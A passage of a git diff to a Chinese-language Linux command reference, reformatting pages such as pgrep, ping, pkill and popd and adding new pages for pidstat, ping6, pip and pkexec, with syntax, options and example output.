+-P, --parent :只匹配给定父进程的子进程。
+-s, --session :匹配会话ID。
+-t, --terminal :根据控制终端进行匹配。
+-u, --euid :根据有效用户ID进行匹配。
+-U, --uid :根据真实用户ID进行匹配。
+-x, --exact:精确匹配进程名称。
+-F, --pidfile :从文件中读取PID。
+-L, --logpidfile:如果PID文件没有锁定,则失败。
+-r, --runstates :匹配运行状态(D, S, Z等)。
+--ns :匹配与指定PID相同命名空间的进程。
+--nslist :列出将在 --ns 选项中考虑的命名空间。可用的命名空间包括:ipc、mnt、net、pid、user、uts。
```
-### 参数
+### 参数
进程名称:指定要查找的进程名称,同时也支持类似grep指令中的匹配模式。
-### 实例
+### 实例
-```
+```shell
pgrep -lo httpd
4557 httpd
[root@localhost ~]# pgrep -ln httpd
@@ -55,7 +72,17 @@ pgrep -lo httpd
4564
4565
4566
+
+[root@localhost ~]# pgrep -x httpd
+4557
+4560
+4561
+4562
+4563
+4564
+4565
+4566
```
-
\ No newline at end of file
+
diff --git a/command/php.md b/command/php.md
index 75ba12d5528..b45490b05bd 100644
--- a/command/php.md
+++ b/command/php.md
@@ -1,28 +1,27 @@
php
===
-
+
PHP语言的命令行接口
## 补充说明
**php命令** 是流行的Web开发语言PHP的命令行接口,可以使用PHP语言开发基于命令行的系统管理脚本程序。
-### 语法
+### 语法
-```
+```shell
php(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-a:进入交互模式;
-c:指定“php.ini”的搜索路径。
```
-### 参数
+### 参数
文件:要执行的php脚本。
-
\ No newline at end of file
diff --git a/command/pico.md b/command/pico.md
index 920826928c6..76c219cdad4 100644
--- a/command/pico.md
+++ b/command/pico.md
@@ -1,13 +1,13 @@
pico
===
-
+
功能强大全屏幕的文本编辑器
## 补充说明
**pico命令** 是功能强大全屏幕的文本编辑器。pico的操作简单,提供了丰富的快捷键。常用的快捷键如下:
-```
+```shell
Ctrl+G:获得pico的帮助信息;
Ctrl+O:保存文件内容,如果是新文件,需要输入文件名;
Ctrl+R:在当前光标位置插入一个指定的文本文件内容;
@@ -22,15 +22,15 @@ Ctrl+J:段落重排;
Ctrl+X:退出,当文件内容发生改变时,提供是否保存修改。
```
-### 语法
+### 语法
-```
+```shell
pico(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-b:开启置换的功能;
-d:开启删除的功能;
-e:使用完整的文件名称;
@@ -53,9 +53,8 @@ pico(选项)(参数)
+<列表编号>:执行pico指令进入编辑模式时,从指定的列数开始编辑。
```
-### 参数
+### 参数
文件:指定要编辑的文件。
-
\ No newline at end of file
diff --git a/command/pidof.md b/command/pidof.md
index 68f1b528322..f22690bf266 100644
--- a/command/pidof.md
+++ b/command/pidof.md
@@ -1,34 +1,34 @@
pidof
===
-
+
查找指定名称的进程的进程号ID号
## 补充说明
**pidof命令** 用于查找指定名称的进程的进程号id号。
-### 语法
+### 语法
-```
+```shell
pidof(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-s:仅返回一个进程号;
-c:仅显示具有相同“root”目录的进程;
-x:显示由脚本开启的进程;
-o:指定不显示的进程ID。
```
-### 参数
+### 参数
进程名称:指定要查找的进程名称。
-### 实例
+### 实例
-```
+```shell
pidof nginx
13312 5371
@@ -40,4 +40,3 @@ pidof init
```
-
\ No newline at end of file
diff --git a/command/pidstat.md b/command/pidstat.md
new file mode 100644
index 00000000000..b10e06e8be3
--- /dev/null
+++ b/command/pidstat.md
@@ -0,0 +1,120 @@
+pidstat
+===
+监控进程的系统资源占用情况
+
+## 说明
+**pidstat**是sysstat工具的一个命令,用于监控全部或指定进程的cpu、内存、线程、设备IO等系统资源的占用情况。
+pidstat首次运行时显示自系统启动开始的各项统计信息,之后运行pidstat将显示自上次运行该命令以后的统计信息。用户可以通过指定统计的次数和时间来获得所需的统计信息。
+
+### 语法
+```shell
+pidstat [ 选项 ] [ <时间间隔> ] [ <次数> ]
+```
+#### 选项
+- u:默认的参数,显示各个进程的cpu使用统计
+- r:显示各个进程的内存使用统计
+- d:显示各个进程的IO使用情况
+- w:显示每个进程的上下文切换情况
+- t:显示到线程的统计信息
+- p:指定进程号
+- T { TASK | CHILD | ALL }
+ 这个选项指定了pidstat监控的。TASK表示报告独立的task,CHILD关键字表示报告进程下所有线程统计信息。ALL表示报告独立的task和task下面的所有线程。
+ 注意:task和子线程的全局的统计信息和pidstat选项无关。这些统计信息不会对应到当前的统计间隔,这些统计信息只有在子线程kill或者完成的时候才会被收集。
+- V:版本号
+- h:在一行上显示了所有活动,这样其他程序可以容易解析。
+- I:在SMP环境,表示任务的CPU使用率/内核数量
+- l:显示命令名和所有参数
+
+### 实例
+#### 查看所有进程的CPU使用情况
+```shell
+# pidstat -u -p ALL
+11:04:06 AM UID PID %usr %system %guest %CPU CPU Command
+11:04:06 AM 0 1 0.03 0.05 0.00 0.08 20 systemd
+11:04:06 AM 0 2 0.00 0.00 0.00 0.00 28 kthreadd
+11:04:06 AM 0 3 0.00 0.00 0.00 0.00 0 rcu_gp
+11:04:06 AM 0 4 0.00 0.00 0.00 0.00 0 rcu_par_gp
+11:04:06 AM 0 6 0.00 0.00 0.00 0.00 0 kworker/0:0H-kblockd
+11:04:06 AM 0 9 0.00 0.00 0.00 0.00 38 mm_percpu_wq
+11:04:06 AM 0 10 0.00 0.01 0.00 0.01 0 ksoftirqd/0
+11:04:06 AM 0 11 0.00 0.23 0.00 0.23 15 rcu_sched
+11:04:06 AM 0 12 0.00 0.00 0.00 0.00 0 migration/0
+11:04:06 AM 0 14 0.00 0.00 0.00 0.00 0 cpuhp/0
+11:04:06 AM 0 15 0.00 0.00 0.00 0.00 1 cpuhp/1
+...
+```
+表头字段说明
+- PID:进程ID
+- %usr:进程在用户空间占用cpu的百分比
+- %system:进程在内核空间占用cpu的百分比
+- %guest:进程在虚拟机占用cpu的百分比
+- %CPU:进程占用cpu的百分比
+- CPU:处理进程的cpu编号
+- Command:当前进程对应的命令
+
+#### 查看所有进程的内存使用情况
+```shell
+# pidstat -r
+11:10:35 AM UID PID minflt/s majflt/s VSZ RSS %MEM Command
+11:10:35 AM 0 1 7.24 0.05 191312 4208 0.01 systemd
+11:10:35 AM 0 1407 2.02 0.09 39316 9016 0.03 systemd-journal
+11:10:35 AM 0 1442 0.03 0.00 190380 1080 0.00 lvmetad
+11:10:35 AM 0 1457 0.46 0.00 46252 1560 0.00 systemd-udevd
+11:10:35 AM 0 2429 0.11 0.00 163620 9472 0.03 sshd
+11:10:35 AM 992 2446 0.02 0.00 8588 996 0.00 lsmd
+11:10:35 AM 0 2447 0.05 0.00 90572 1468 0.00 rngd
+11:10:35 AM 0 2448 0.15 0.02 451272 3520 0.01 udisksd
+11:10:35 AM 0 2449 0.18 0.02 396488 1948 0.01 accounts-daemon
+11:10:35 AM 0 2454 0.02 0.02 201336 1464 0.00 gssproxy
+...
+```
+表头字段说明
+- PID:进程标识符
+- Minflt/s:任务每秒发生的次要错误,不需要从磁盘中加载内存页
+- Majflt/s:任务每秒发生的主要错误,需要从磁盘中加载内存页
+- VSZ:虚拟地址大小,虚拟内存的使用KB
+- RSS:常驻集合大小,非交换区物理内存使用KB
+- Command:task命令名
+
+#### 查看所有进程的IO使用情况
+```shell
+# pidstat -d
+11:12:30 AM UID PID kB_rd/s kB_wr/s kB_ccwr/s Command
+11:12:30 AM 0 1 250.05 11.57 2.13 systemd
+11:12:30 AM 0 224 1.21 0.00 0.00 khugepaged
+11:12:30 AM 0 290 0.03 0.00 0.00 kswapd0
+11:12:30 AM 0 291 0.02 0.00 0.00 kswapd1
+11:12:30 AM 0 1312 1.03 0.00 0.00 xfsaild/dm-0
+11:12:30 AM 0 1407 1.31 0.00 0.00 systemd-journal
+11:12:30 AM 0 1442 0.01 0.00 0.00 lvmetad
+11:12:30 AM 0 1457 1.77 0.00 0.00 systemd-udevd
+11:12:30 AM 992 2446 0.79 0.00 0.00 lsmd
+11:12:30 AM 0 2447 0.07 0.00 0.00 rngd
+11:12:30 AM 0 2448 0.46 0.00 0.00 udisksd
+...
+```
+表头字段说明
+- PID:进程id
+- kB_rd/s:每秒从磁盘读取的KB
+- kB_wr/s:每秒写入磁盘KB
+- kB_ccwr/s:任务取消的写入磁盘的KB。当任务截断脏的pagecache的时候会发生。
+- COMMAND:task的命令名
+
+#### 查看进程的上下文切换情况
+```shell
+# pidstat -w
+11:15:52 AM UID PID cswch/s nvcswch/s Command
+11:15:52 AM 0 1 3.15 0.03 systemd
+11:15:52 AM 0 2 0.13 0.00 kthreadd
+11:15:52 AM 0 3 0.00 0.00 rcu_gp
+11:15:52 AM 0 4 0.00 0.00 rcu_par_gp
+11:15:52 AM 0 6 0.00 0.00 kworker/0:0H-kblockd
+11:15:52 AM 0 9 0.00 0.00 mm_percpu_wq
+11:15:52 AM 0 10 1.99 0.00 ksoftirqd/0
+...
+```
+表头字段含义
+- PID:进程id
+- Cswch/s:每秒主动任务上下文切换数量
+- Nvcswch/s:每秒被动任务上下文切换数量
+- Command:命令名
diff --git a/command/pigz.md b/command/pigz.md
index dc57bfa92d4..8d4ddb356ba 100644
--- a/command/pigz.md
+++ b/command/pigz.md
@@ -1,7 +1,7 @@
pigz
===
-可以用来解压缩文件,gzip的并行实现升级版。
+可以用来解压缩文件,gzip的并行实现升级版
## 补充说明
@@ -9,63 +9,63 @@ pigz
### 语法
-```bash
+```shell
pigz [ -cdfhikKlLmMnNqrRtz0..9,11 ] [ -b blocksize ] [ -p threads ] [ -S suffix ] [ name ... ]
unpigz [ -cfhikKlLmMnNqrRtz ] [ -b blocksize ] [ -p threads ] [ -S suffix ] [ name ... ]
```
### 参数
-```bash
--0 to -9, -11 Compression level (level 11, zopfli, is much slower)
---fast, --best Compression levels 1 and 9 respectively
--b, --blocksize mmm Set compression block size to mmmK (default 128K)
--c, --stdout Write all processed output to stdout (won't delete)
--d, --decompress Decompress the compressed input
--f, --force Force overwrite, compress .gz, links, and to terminal
--F --first Do iterations first, before block split for -11
--h, --help Display a help screen and quit
--i, --independent Compress blocks independently for damage recovery
--I, --iterations n Number of iterations for -11 optimization
--J, --maxsplits n Maximum number of split blocks for -11
--k, --keep Do not delete original file after processing
--K, --zip Compress to PKWare zip (.zip) single entry format
--l, --list List the contents of the compressed input
--L, --license Display the pigz license and quit
--m, --no-time Do not store or restore mod time
--M, --time Store or restore mod time
--n, --no-name Do not store or restore file name or mod time
--N, --name Store or restore file name and mod time
--O --oneblock Do not split into smaller blocks for -11
--p, --processes n Allow up to n compression threads (default is the number of online processors, or 8 if unknown)
--q, --quiet Print no messages, even on error
--r, --recursive Process the contents of all subdirectories
--R, --rsyncable Input-determined block locations for rsync
--S, --suffix .sss Use suffix .sss instead of .gz (for compression)
--t, --test Test the integrity of the compressed input
--v, --verbose Provide more verbose output
--V --version Show the version of pigz
--Y --synchronous Force output file write to permanent storage
--z, --zlib Compress to zlib (.zz) instead of gzip format
--- All arguments after "--" are treated as files
+```shell
+-0 to -9, -11 # Compression level (level 11, zopfli, is much slower)
+--fast, --best # Compression levels 1 and 9 respectively
+-b, --blocksize mmm # Set compression block size to mmmK (default 128K)
+-c, --stdout # Write all processed output to stdout (won't delete)
+-d, --decompress # Decompress the compressed input
+-f, --force # Force overwrite, compress .gz, links, and to terminal
+-F --first # Do iterations first, before block split for -11
+-h, --help # Display a help screen and quit
+-i, --independent # Compress blocks independently for damage recovery
+-I, --iterations n # Number of iterations for -11 optimization
+-J, --maxsplits n # Maximum number of split blocks for -11
+-k, --keep # Do not delete original file after processing
+-K, --zip # Compress to PKWare zip (.zip) single entry format
+-l, --list # List the contents of the compressed input
+-L, --license # Display the pigz license and quit
+-m, --no-time # Do not store or restore mod time
+-M, --time # Store or restore mod time
+-n, --no-name # Do not store or restore file name or mod time
+-N, --name # Store or restore file name and mod time
+-O --oneblock # Do not split into smaller blocks for -11
+-p, --processes n # Allow up to n compression threads (default is the number of online processors, or 8 if unknown)
+-q, --quiet # Print no messages, even on error
+-r, --recursive # Process the contents of all subdirectories
+-R, --rsyncable # Input-determined block locations for rsync
+-S, --suffix .sss # Use suffix .sss instead of .gz (for compression)
+-t, --test # Test the integrity of the compressed input
+-v, --verbose # Provide more verbose output
+-V --version # Show the version of pigz
+-Y --synchronous # Force output file write to permanent storage
+-z, --zlib # Compress to zlib (.zz) instead of gzip format
+-- # All arguments after "--" are treated as files
```
### 实例
可以结合`tar`使用, 压缩命令
-```bash
+```shell
tar -cvf - dir1 dir2 dir3 | pigz -p 8 > output.tgz
```
解压命令
-```bash
+```shell
pigz -p 8 -d output.tgz
```
如果是gzip格式,也支持用tar解压
-```bash
+```shell
tar -xzvf output.tgz
```
diff --git a/command/ping.md b/command/ping.md
index 8e6abf6f9d7..0b387e42c7a 100644
--- a/command/ping.md
+++ b/command/ping.md
@@ -1,21 +1,21 @@
ping
===
-
-测试主机之间网络的连通性
+
+测试主机之间网络的连通性(ipv4)
## 补充说明
**ping命令** 用来测试主机之间网络的连通性。执行ping指令会使用ICMP传输协议,发出要求回应的信息,若远端主机的网络功能没有问题,就会回应该信息,因而得知该主机运作正常。
-### 语法
+### 语法
-```
-ping(选项)(参数)
+```shell
+ping (选项) (参数)
```
-### 选项
+### 选项
-```
+```shell
-d:使用Socket的SO_DEBUG功能;
-c<完成次数>:设置完成要求回应的次数;
-f:极限检测;
@@ -30,15 +30,16 @@ ping(选项)(参数)
-s<数据包大小>:设置数据包的大小;
-t<存活数值>:设置存活数值TTL的大小;
-v:详细显示指令的执行过程。
+-w<超时秒数>:无论之前发送或接受了多少包,只要超过此秒数,程序退出;
```
-### 参数
+### 参数
目的主机:指定发送ICMP报文的目的主机。
-### 实例
+### 实例
-```
+```shell
[root@AY1307311912260196fcZ ~]# ping www.jsdig.com
PING host.1.jsdig.com (100.42.212.8) 56(84) bytes of data.
64 bytes from 100-42-212-8.static.webnx.com (100.42.212.8): icmp_seq=1 ttl=50 time=177 ms
@@ -53,4 +54,3 @@ rtt min/avg/max/mdev = 174.068/176.916/178.182/1.683 ms
```
-
\ No newline at end of file
diff --git a/command/ping6.md b/command/ping6.md
new file mode 100644
index 00000000000..ee976883476
--- /dev/null
+++ b/command/ping6.md
@@ -0,0 +1,53 @@
+ping6
+===
+
+测试主机之间网络的连通性(ipv6)
+
+## 补充说明
+
+**ping6命令** ping6 是 ICMPv6 版的 ping 实现。正确使用、访问 IPv6 网站需要您提前配置本地环境,选择支持 v6 的网站进行访问(ping)。
+执行 ping6 指令会使用 ICMPv6 传输(OSI)协议,发出要求回应的信息,若远端主机的网络功能没有问题,就会回应该信息,因而得知该主机运作正常。
+
+### 语法
+
+```bash
+ping6 (选项) (地址) [网络接口名称]
+```
+
+### 选项
+
+```bash
+-a [addrtype]: 生成 ICMPv6 节点信息节点地址查询;
+-b [bufsiz]: 设置套接字缓冲区大小;
+-c [count]: 在发送(和接收)ECHO_RESPONSE数据包后停止;
+-h [hoplimit]: 设置 IPv6 跳数限制;
+-I [interface]: 具有给定接口地址的源数据包;
+-i [wait]: 在发送每个数据包之间等待几秒钟,默认是 1 秒;
+-p [policy]: policy 指定要用于探测的 IPsec 策略;
+```
+### 地址
+
+目的主机:指定发送 ICMPv6 报文的目的主机。
+
+### 实例
+
+```bash
+$ ping6 -c4 ipw.cn
+
+PING6(56=40+8+8 bytes) 2409:xxxx:xxxx:85c0::2 --> 2409:8c70:3a00:42:3a::1
+16 bytes from 2409:8c70:3a00:42:3a::1, icmp_seq=0 hlim=54 time=31.236 ms
+16 bytes from 2409:8c70:3a00:42:3a::1, icmp_seq=1 hlim=54 time=29.382 ms
+16 bytes from 2409:8c70:3a00:42:3a::1, icmp_seq=2 hlim=54 time=29.571 ms
+16 bytes from 2409:8c70:3a00:42:3a::1, icmp_seq=3 hlim=54 time=28.973 ms
+
+--- 66f782g2.slt-dk.sched.tdnsv8.com ping6 statistics ---
+4 packets transmitted, 4 packets received, 0.0% packet loss
+round-trip min/avg/max/std-dev = 28.973/29.791/31.236/0.862 ms
+```
+
+### 服务器 IPv6 Ping 失败可能原因
+
+1. 服务器未开启 IPv6。
+2. 服务器已开启 IPv6,但防火墙(安全组)未对源地址是 IPv6 地址(::/0)的 ICMPv6 协议开放访问,
+
+
diff --git a/command/pip.md b/command/pip.md
new file mode 100644
index 00000000000..a2157fb7582
--- /dev/null
+++ b/command/pip.md
@@ -0,0 +1,181 @@
+pip
+===
+
+Python 编程语言中的包管理器,用于安装和管理第三方 Python 模块
+
+## 语法
+
+```bash
+pip <命令> [选项]
+```
+
+## 选项
+
+命令
+
+```bash
+install 安装包。
+download 下载包。
+uninstall 卸载包。
+freeze 以requirements格式输出已安装的包。
+inspect 检查 Python 环境。
+list 列出已安装的包。
+show 显示有关已安装包的信息。
+check 验证已安装的包是否具有兼容的依赖关系。
+config 管理本地和全局配置。
+search 在 PyPI 搜索包。
+cache 检查和管理 pip 的wheel缓存。
+index 检查从软件包索引中获取的信息。
+wheel 从你的要求构建wheels。
+hash 计算包存档的哈希值。
+completion 用于命令完成的辅助命令。
+debug 显示用于调试的有用信息。
+help 显示命令的帮助信息。
+```
+
+通用选项
+
+```bash
+-h, --help 显示帮助。
+--debug 允许未处理的异常传播到主要子例程之外,而不是将其记录到stderr。
+--isolated 在隔离模式下运行 pip,忽略环境变量和用户配置。
+--require-virtualenv 允许 pip 仅在虚拟环境中运行;否则退出并显示错误。
+--python 使用指定的 Python 解释器运行 pip。
+-v, --verbose 提供更多输出。该选项是可叠加的,最多可使用3次。
+-V, --version 显示版本并退出。
+-q, --quiet 提供更少的输出。该选项是可叠加的,最多可使用3次(对应 WARNING、ERROR 和 CRITICAL 日志级别)。
+--log 要附加日志的路径。
+--no-input 禁用输入提示。
+--keyring-provider
+ 如果允许用户输入,则启用通过 keyring 库进行凭据查找。指定要使用的机制[disabled, import, subprocess]。(默认: disabled)
+--proxy 指定代理,格式为 scheme://[user:passwd@]proxy.server:port。
+--retries 每个连接应尝试的最大次数(默认5次)。
+--timeout 设置套接字超时(默认15秒)。
+--exists-action 当路径已经存在时的默认操作:(s)切换,(i)忽略,(w)擦除,(b)备份,(a)中止。
+--trusted-host 将此主机或主机:端口对标记为可信,即使它没有有效或任何 HTTPS。
+--cert PEM编码的CA证书包的路径。如果提供,将覆盖默认值。有关更多信息,请参阅 pip 文档中的 'SSL证书验证'。
+--client-cert SSL客户端证书的路径,一个包含私钥和PEM格式的证书的单个文件。
+--cache-dir 在 中存储缓存数据。
+--no-cache-dir 禁用缓存。
+--disable-pip-version-check
+ 不定期检查 PyPI 是否有可下载的 pip 新版本。与 --no-index 隐含。
+--no-color 抑制有色输出。
+--no-python-version-warning
+ 对即将不受支持的 Python 沉默弃用警告。
+--use-feature 启用可能不向后兼容的新功能。
+--use-deprecated 启用在将来将被删除的已弃用功能。
+```
+
+### 安装
+
+Pip 是 Python 的包管理工具,通常随着 Python 的安装一起安装。确保你的 Python 版本是 3.4 或更高版本。
+
+```bash
+# Ubuntu系统
+sudo apt install python3-pip
+```
+
+```bash
+# CentOS
+sudo yum install python3-pip
+```
+
+如果需要更新 Pip,可以运行以下命令:
+
+```bash
+python -m pip install --upgrade pip
+```
+
+检查 `pip` 是否已安装
+
+```bash
+pip --version
+```
+
+确保您使用的是最新版本的 `pip`,您可以运行以下命令来**升级**
+
+```bash
+python -m pip install --upgrade pip
+```
+
+## 安装包
+
+通过 Pip 安装 Python 包非常简单。使用以下命令:
+
+```bash
+pip install
+```
+
+例如,安装一个名为 `requests` 的包:
+
+```bash
+pip install requests
+```
+
+## 卸载包
+
+要卸载已安装的包,使用以下命令:
+
+```bash
+pip uninstall package_name
+```
+
+例如,卸载 `requests` 包:
+
+```bash
+pip uninstall requests
+```
+
+## 查看已安装的包
+
+你可以使用以下命令查看当前环境中已安装的所有包及其版本:
+
+```bash
+pip list
+```
+
+## 导出和导入依赖关系
+
+使用 `pip freeze` 命令可以将当前环境中的所有包及其版本导出到一个文本文件,通常命名为 `requirements.txt`:
+
+```bash
+pip freeze > requirements.txt
+```
+
+要在另一个环境中安装相同的依赖,可以使用以下命令:
+
+```bash
+pip install -r requirements.txt
+```
+
+## 安装特定版本的包
+
+如果需要安装特定版本的包,可以在包名后面添加版本号:
+
+```bash
+pip install package_name==1.2.3
+```
+
+## 搜索包
+
+要搜索可用的 Python 包,可以使用 `pip search` 命令:
+
+```bash
+pip search package_name
+```
+
+## 安装开发版本
+
+有时你可能需要安装包的开发版本。通常,开发版本存储在版本控制系统中(如 GitHub):
+
+```bash
+pip install git+https://github.com/user/repo.git
+```
+
+这将安装存储库的最新版本。
+
+以上是一些常用的 Pip 命令,希望这个简要教程能够帮助你更好地使用 Python 包管理工具。
+
+## 官网
+
+更多安装使用方法可以访问官网学习:[https://pypi.org/project/pip/](https://pypi.org/project/pip/)
diff --git a/command/pkexec.md b/command/pkexec.md
new file mode 100644
index 00000000000..ec7ad702fe4
--- /dev/null
+++ b/command/pkexec.md
@@ -0,0 +1,77 @@
+pkexec
+===
+
+以其他用户身份执行命令
+
+## 补充说明
+
+**pkexec** 允许授权用户以另一个用户的身份执行 PROGRAM。如果未指定
+PROGRAM,则将运行默认 shell。如果未指定用户名,则程序将以管理超级用户 root
+的身份执行。
+
+### 语法
+
+```shell
+pkexec [--version] [--disable-internal-agent] [--help]
+pkexec [--keep-cwd] [--user username] PROGRAM [ARGUMENTS...]
+```
+
+### 选项
+
+```shell
+PROGRAM 运行的程序
+ARGUMENTS... 传递给程序的参数
+
+--version 输出版本号然后退出
+--disable-internal-agent 避免将注册自己的文本身份验证代理
+--help 输出帮助文本然后退出
+--keep-cwd 运行位置,默认在 /home//
+--user 需要运行的用户名
+```
+
+### 返回值
+
+成功完成后,返回值为 PROGRAM 的返回值。
+
+- `127`: 在未获得授权或者身份验证发生错误
+- `126`: 用户关闭身份验证对话框而无法获得授权
+
+### 示例
+
+1. 运行具有管理员权限的命令:
+
+```
+pkexec command
+```
+
+将 `command` 替换为你要以管理员权限运行的命令。例如,`pkexec ls` 将以管理员权限运行 `ls` 命令。
+
+2. 以图形界面运行具有管理员权限的命令:
+
+```
+pkexec env DISPLAY=$DISPLAY XAUTHORITY=$XAUTHORITY command
+```
+
+这个命令用于在图形界面中运行需要管理员权限的命令。将 `command` 替换为你要以管理员权限运行的命令。
+
+3. 运行具有特定身份验证代理的命令:
+
+```
+pkexec --user username command
+```
+
+将 `username` 替换为你要作为哪个用户运行命令的用户名,将 `command` 替换为你要运行的命令。
+
+4. 查看 `pkexec` 的帮助信息:
+
+```
+pkexec --help
+```
+
+这个命令将显示 `pkexec` 的使用说明和选项列表。
+
+请注意,使用 `pkexec` 运行命令时,系统会提示你输入管理员密码进行身份验证。确保只在必要时使用 `pkexec` 来运行需要管理员权限的命令,并小心谨慎地处理管理员权限。
+
+### 参考资料
+
+- https://man.archlinux.org/man/pkexec.1.en
diff --git a/command/pkill.md b/command/pkill.md
index 3cb7459fe34..59f6e0230aa 100644
--- a/command/pkill.md
+++ b/command/pkill.md
@@ -1,21 +1,21 @@
pkill
===
-
+
可以按照进程名杀死进程
## 补充说明
**pkill命令** 可以按照进程名杀死进程。pkill和killall应用方法差不多,也是直接杀死运行中的程序;如果您想杀掉单个进程,请用kill来杀掉。
-### 语法
+### 语法
-```
+```shell
pkill(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-o:仅向找到的最小(起始)进程号发送信号;
-n:仅向找到的最大(结束)进程号发送信号;
-P:指定父进程号发送信号;
@@ -23,13 +23,13 @@ pkill(选项)(参数)
-t:指定开启进程的终端。
```
-### 参数
+### 参数
进程名称:指定要查找的进程名称,同时也支持类似grep指令中的匹配模式。
-### 实例
+### 实例
-```
+```shell
pgrep -l gaim
2979 gaim
@@ -39,4 +39,3 @@ pkill gaim
也就是说:kill对应的是PID,pkill对应的是command。
-
\ No newline at end of file
diff --git a/command/pmap.md b/command/pmap.md
index 6783f89023d..ed1e846493c 100644
--- a/command/pmap.md
+++ b/command/pmap.md
@@ -1,34 +1,34 @@
pmap
===
-
+
报告进程的内存映射关系
## 补充说明
**pmap命令** 用于报告进程的内存映射关系,是Linux调试及运维一个很好的工具。
-### 语法
+### 语法
-```
+```shell
pmap(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-x:显示扩展格式;
-d:显示设备格式;
-q:不显示头尾行;
-V:显示指定版本。
```
-### 参数
+### 参数
进程号:指定需要显示内存映射关系的进程号,可以是多个进程号。
-### 实例
+### 实例
-```
+```shell
pidof nginx
13312 5371
@@ -121,4 +121,3 @@ total kB 72880 22940 22000
```
-
\ No newline at end of file
diff --git a/command/popd.md b/command/popd.md
index ecaf2093518..d474805cc0a 100644
--- a/command/popd.md
+++ b/command/popd.md
@@ -1,41 +1,79 @@
popd
===
-
-用于删除目录栈中的记录
-## 补充说明
+从目录堆栈中删除目录。
-**popd命令** 用于删除目录栈中的记录;如果popd命令不加任何参数,则会先删除目录栈最上面的记录,然后切换到删除过后的目录栈中的最上面的目录。
+## 概要
-### 语法
-
-```
-pushd(选项)(参数)
+```shell
+popd [-n] [+N | -N]
```
-### 选项
+## 主要用途
-```
-+N:将第N个目录删除(从左边数起,数字从0开始);
--N:将第N个目录删除(从右边数起,数字从0开始);
--n:将目录出栈时,不切换目录。
-```
+- 从目录堆栈中删除目录,如果是顶部目录被删除,那么当前工作目录会切换到新的顶部目录。
+
+- 没有参数时,删除目录堆栈顶部。
-### 实例
+## 选项
+```shell
+-n 抑制删除目录引起的当前工作目录变化。
```
-root@Mylinux:/tmp/dir4# popd(相当于popd +0)
-/tmp/dir3 /tmp/dir2 /tmp/dir1 ~
-root@Mylinux:/tmp/dir3# pushd /tmp/dir4
-/tmp/dir4 /tmp/dir3 /tmp/dir2 /tmp/dir1 ~
+## 参数
+
++N(可选):不带参数执行`dirs`命令显示的列表中,左起的第N个目录将被删除。(从0开始计数)
+
+-N(可选):不带参数执行`dirs`命令显示的列表中,右起的第N个目录将被删除。(从0开始计数)
+
+
+## 返回值
-root@Mylinux:/tmp/dir4# popd +1
-/tmp/dir4 /tmp/dir2 /tmp/dir1 ~
+返回成功除非提供了非法选项或执行出现错误。
-root@Mylinux:/tmp/dir4# popd -2
-/tmp/dir4 /tmp/dir1 ~
+## 例子
+
+```shell
+# 添加目录到堆栈,当前工作目录不变。
+[user2@pc ~]$ dirs
+~
+[user2@pc ~]$ pushd -n ~/Desktop
+~ ~/Desktop
+[user2@pc ~]$ pushd -n ~/Pictures
+~ ~/Pictures ~/Desktop
+[user2@pc ~]$ pushd -n ~/bin
+~ ~/bin ~/Pictures ~/Desktop
+
+# 从目录堆栈中删除目录,删除顶部目录时会改变当前工作目录:
+[user2@pc ~]$ popd -2
+~ ~/Pictures ~/Desktop
+[user2@pc ~]$ popd +1
+~ ~/Desktop
+[user2@pc ~]$ popd
+~/Desktop
+[user2@pc Desktop]$
+```
+
+```shell
+# 从目录堆栈中删除目录,删除顶部目录时不会改变当前工作目录:
+[user2@pc ~]$ dirs
+~
+[user2@pc ~]$ pushd -n ~/Desktop
+~ ~/Desktop
+[user2@pc ~]$ popd -n
+~
+[user2@pc ~]$
```
+### 注意
+
+1. `bash`的目录堆栈命令包括`dirs popd pushd`。
+2. 当前目录始终是目录堆栈的顶部。
+3. 该命令是bash内建命令,相关的帮助信息请查看`help`命令。
+
+### 参考链接
+
+- [popd、pushd命令'-n'选项的行为](https://superuser.com/questions/784450/popd-and-pushd-behavior-with-n-option)
+
-
\ No newline at end of file
diff --git a/command/poweroff.md b/command/poweroff.md
index b96eb1d5d16..50f8665f282 100644
--- a/command/poweroff.md
+++ b/command/poweroff.md
@@ -1,21 +1,21 @@
poweroff
===
-关闭Linux系统,关闭记录会被写入到/var/log/wtmp日志文件中。
+关闭Linux系统,关闭记录会被写入到/var/log/wtmp日志文件中
## 补充说明
**grename命令** 可以重命名卷组的名称。
-### 语法
+### 语法
-```
+```shell
poweroff [选项]
```
-### 选项
+### 选项
-```
+```shell
-n 关闭之前不同步
-p 当被称为halt时关闭电源
-v 增加输出,包括消息
@@ -28,8 +28,8 @@ poweroff [选项]
关闭Linux系统。
-```bash
+```shell
[root@localhost ~]# poweroff
```
-
+
diff --git a/command/ppp-off.md b/command/ppp-off.md
index 5b01ee5a0f6..15b862ea794 100644
--- a/command/ppp-off.md
+++ b/command/ppp-off.md
@@ -7,11 +7,10 @@ ppp-off
这是Slackware发行版内附的程序,让用户切断PPP的网络连线。
-### 语法
+### 语法
-```
+```shell
ppp-off
```
-
\ No newline at end of file
diff --git a/command/pr.md b/command/pr.md
index 5caa14a9331..35c8e637b53 100644
--- a/command/pr.md
+++ b/command/pr.md
@@ -1,28 +1,50 @@
pr
===
-
+
将文本文件转换成适合打印的格式
## 补充说明
**pr命令** 用来将文本文件转换成适合打印的格式,它可以把较大的文件分割成多个页面进行打印,并为每个页面添加标题。
-### 语法
+### 语法
-```
+```shell
pr(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
+-e<制表符[宽度]>(--expand-tabs=<制表符[宽度]>):将制表符(或制表符)转换为空格.如果指定了宽度,则将制表符转换为宽度字符,默认为8;
-h<标题>:为页指定标题;
--l<行数>:指定每页的行数。
+-i(--output-tabs):在输出中用制表符替换空格,可以指定替代制表符(默认为制表符)和宽度(默认为8);
+-l<行数>:指定每页的行数;
+-n<分隔符[数字]>:对列进行编号,或者使用 -m 选项对行进行编号,将分隔符附加到每个数字默认为制表符并限制数字的大小,默认为5;
+-o<宽度>:为左边距设置宽度;
+-s<分隔符>(--separator<分隔符>):使用指定的分隔符(默认为制表符)而不是空格分隔列;
+-S<字符串>(--sep-string<字符串>):使用指定的字符串(默认为-J的制表符)或者是一个空格分隔列;
+-w<页面宽度>:设置页面宽度以进行多列输出,默认为72;
